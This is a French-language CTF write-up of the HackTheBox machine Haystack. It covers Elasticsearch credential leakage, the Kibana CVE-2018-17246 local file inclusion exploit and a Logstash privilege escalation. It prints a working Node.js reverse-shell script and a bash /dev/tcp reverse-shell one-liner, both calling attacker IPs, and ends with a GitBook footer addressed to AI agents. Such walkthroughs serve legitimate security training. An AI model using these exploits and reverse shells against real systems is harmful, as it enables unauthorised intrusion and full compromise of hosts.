> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md). # Compte rendu HackTheBox de Haystack {% embed url="" %} {% hint style="warning" %} **Compétences**: * Énumération d'ElasticSearch * Fuite d'informations * Énumération de Kibana * Exploitation de Kibana (CVE-2018-17246) * Abus de Logstash (élévation de privilèges) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts ```

**Analyse des ports ouverts avec extractPorts :** Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (9200)

Analyse des versions des ports avec Nmap : Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted ```

Pour résoudre les noms de domaine en adresses IP via DNS, nous insérons le nom de domaine associé à son adresse IP dans le `/etc/hosts` fichier :

## Analyse des services exposés ### Port 80 - Fuite d'informations **Extraction des métadonnées avec ExifTool**

En analysant l'image trouvée sur le serveur avec `strings`, nous découvrons une chaîne encodée en base64 : `bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

Une fois décodée, cette chaîne révèle le message suivant : *"l'aiguille dans la botte de foin est 'key'"*.

### Elasticsearch - Fuite d'informations #### Le port 9200 héberge ElasticSearch version 6.4.2.

{% hint style="info" %} Elasticsearch est un moteur de recherche et d'analyse en temps réel utilisé pour indexer et rechercher rapidement de grands volumes de données. Il s'intègre à la stack ELK pour fournir des capacités avancées de visualisation et d'analyse des données. {% endhint %}

En accédant à `/_cat/indices?` URL, nous obtenons une liste d'indices avec leurs UUID. Pour extraire le contenu d'un index, nous utilisons l'URL suivante : `http://haystack.htb:9200//_search?pretty=true&size=1000`

**Filtrage des données avec Curl** En utilisant l'index `quotes` et en filtrant sur le mot-clé du challenge, des informations pertinentes sont trouvées : ```bash curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave" ```

**Décodage de chaînes encodées en base64** Nous obtenons deux chaînes encodées en base64 qui, une fois décodées, révèlent les informations d'identification : ```bash echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo ```

**Utilisateur :** `security`/ **Mot de passe :** `spanish.is.key` ### Connexion SSH Avec les identifiants récupérés, nous nous connectons à la machine cible via SSH et accédons à l'utilisateur : ```bash ssh security@10.10.10.115 ```

### Drapeau user.txt :)

**Une fois l'accès au serveur Linux obtenu, voici les commandes à exécuter pour le traitement dans le terminal :** ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` **Cela vous permettra de travailler beaucoup plus efficacement et, surtout, plus confortablement.** ## Élévation de privilèges : ### Kibana (transfert de port) **Étape 1 : Identification des ports ouverts** Tout d'abord, nous observons les ports ouverts en interne à l'aide de la commande suivante : ```bash netstat -nltp ``` Nous remarquons que le port **5601** attire notre attention.

En effectuant une `curl` requête sur ce port, nous obtenons une page HTML de Kibana : {% hint style="info" %} **Kibana** est un logiciel de tableau de bord de visualisation de données prêt à l'emploi pour Elasticsearch {% endhint %}

**Étape 2 : Transfert de port pour accéder à Kibana** Nous allons rediriger le port interne du serveur **5601** vers notre machine locale pour y accéder via notre navigateur. Cette redirection peut se faire via SSH avec la commande suivante : ```bash ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N ``` Cela redirige le port local 5601 de la machine cible vers le port 5601 de notre propre machine, permettant un accès direct

**Étape 3 : Vérification de la version de Kibana** En accédant à `http://localhost:5601/api/status`, nous observons le numéro de version de Kibana : **6.4.2**. Cette version est vulnérable à une **Inclusion de fichiers locaux (LFI)** attaque, identifiée comme **CVE-2018-17246**.

### Exploitation de Kibana (CVE-2018-17246) {% embed url="" %} **Étape 4 : Exploiter la vulnérabilité** Pour exploiter cette vulnérabilité, nous allons créer un fichier JavaScript pour obtenir un shell inversé. Dans le `/tmp` répertoire de la machine cible, créez un fichier nommé `rev.js` avec le code suivant :

function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Empêche l'application Node.js de planter
})();

Ce script établira une connexion avec votre machine sur le port **443** pour ouvrir un shell. **Étape 5 : Redirection du flux vers un fichier** Ensuite, redirigez le flux vers le `/dev/shm/rev.js` fichier avec la commande suivante : ```bash curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js" ``` **Étape 6 : Écouter sur le port pour le shell inversé** Sur votre machine, démarrez un listener sur le port **443** pour intercepter le shell inversé : ```bash nc -nlvp 443 ``` Une fois connecté, vous aurez un shell sur la machine cible, permettant l'élévation de privilèges.

## Abus de Logstash Nous recherchons tous les fichiers accessibles avec l'utilisateur `kibana`: ```bash find / -user kibana 2>/dev/null | grep -vE "usr|var|proc" ```

En accédant à Logstash, nous découvrons trois fichiers de configuration : * `filter.conf` * `input.conf` * `output.conf`

{% hint style="warning" %} En résumé, Logstash exécute une tâche cron qui vérifie toutes les 10 secondes si un fichier nommé `logstash_*` existe dans le `/opt/kibana/` répertoire. Si un fichier correspondant est trouvé et contient une commande avec une entrée spécifique, sous la forme : {% endhint %} `"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

Pour exploiter cette vulnérabilité, nous créons un fichier nommé `logstash_exec` dans le `/opt/kibana/` répertoire avec le contenu suivant : ```bash bash -i >& /dev/tcp/10.10.14.7/4444 0>&1 ``` Ensuite, nous écoutons sur le port 4444 et obtenons l'accès root.

### Flag root :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.